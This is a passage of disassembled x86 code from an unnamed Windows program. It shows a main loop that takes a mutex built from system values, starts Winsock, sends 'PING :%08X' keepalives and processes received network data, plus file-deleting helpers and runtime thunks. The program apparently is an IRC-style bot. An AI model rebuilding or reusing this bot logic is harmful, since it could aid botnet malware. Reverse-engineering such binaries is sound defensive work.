sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE30 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DA10 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4167F1 proc near ; DATA XREF: .data:00420415o var_12F4 = dword ptr -12F4h var_12F0 = dword ptr -12F0h var_12EC = byte ptr -12ECh var_115C = byte ptr -115Ch var_1128 = dword ptr -1128h var_1121 = byte ptr -1121h var_1120 = byte ptr -1120h var_101C = dword ptr -101Ch var_1018 = byte ptr -1018h var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp+var_18], esp push 2 call dword_4170F4 ; SetErrorMode and [ebp+var_4], 0 push dword_41DA54 push dword_41DA50 push 3B6h push dword_41DA4C push 0 push dword_41DA48 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp+var_115C] push eax call sub_416B5E ; sprintf add esp, 20h and [ebp+var_1128], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: sub_4167F1:loc_4168BAj mov eax, [ebp+var_1128] inc eax mov [ebp+var_1128], eax loc_416875: ; CODE XREF: sub_4167F1+75j cmp [ebp+var_1128], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: sub_4167F1+8Bj push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_115C] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp+var_12F0], eax cmp [ebp+var_12F0], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: sub_4167F1+BBj ; sub_4167F1+C5j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: sub_4167F1+C7j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA48 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC30, eax call sub_410422 mov dword_41EC34, eax call sub_410422 mov dword_41EC38, eax call sub_410422 mov dword_41EC3C, eax push 104h lea eax, [ebp+var_1120] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: sub_4167F1+158j lea eax, [ebp+var_1120] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_12F4], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: sub_4167F1:loc_4169DFj mov eax, [ebp+var_12F4] dec eax mov [ebp+var_12F4], eax loc_416983: ; CODE XREF: sub_4167F1+183j cmp [ebp+var_12F4], 0 jnz short loc_41699F push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: sub_4167F1+199j mov eax, [ebp+var_12F4] movsx eax, [ebp+eax+var_1121] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp+var_12F4] lea eax, [ebp+eax+var_1120] push eax push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4167F1+1BFj jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: sub_4167F1+16Bj ; sub_4167F1+1ACj ... call sub_406E8E lea eax, [ebp+var_12EC] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: sub_4167F1+252j ; sub_4167F1+2B6j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and [ebp+var_101C], 0 loc_416A19: ; CODE XREF: .data:00416AE2j mov [ebp+var_4], 1 loc_416A20: ; CODE XREF: sub_4167F1:loc_416A6Fj ; sub_4167F1+2CFj push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp [ebp+var_101C], 19h jnz short loc_416A45 and [ebp+var_4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: sub_4167F1+24Cj cmp [ebp+var_101C], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: sub_4167F1+25Bj mov eax, [ebp+var_101C] inc eax mov [ebp+var_101C], eax loc_416A6F: ; CODE XREF: sub_4167F1+26Fj jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: sub_4167F1+243j push 1000h lea eax, [ebp+var_1018] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: sub_4167F1+2A7j and [ebp+var_4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: sub_4167F1+2B0j and [ebp+var_101C], 0 lea eax, [ebp+var_1018] push eax call sub_40E943 pop ecx jmp loc_416A20 sub_4167F1 endp ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: .data:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: .data:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE38, 0 jz short loc_416B1E push offset dword_41DD54 push offset dword_41DAB4 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .data:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .data:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .data:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDD0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .data:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC ; ??3@YAXPAX@Z pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .data:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .data:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .data:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 ; ??1type_info@@UAE@XZ test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC ; ??3@YAXPAX@Z pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; 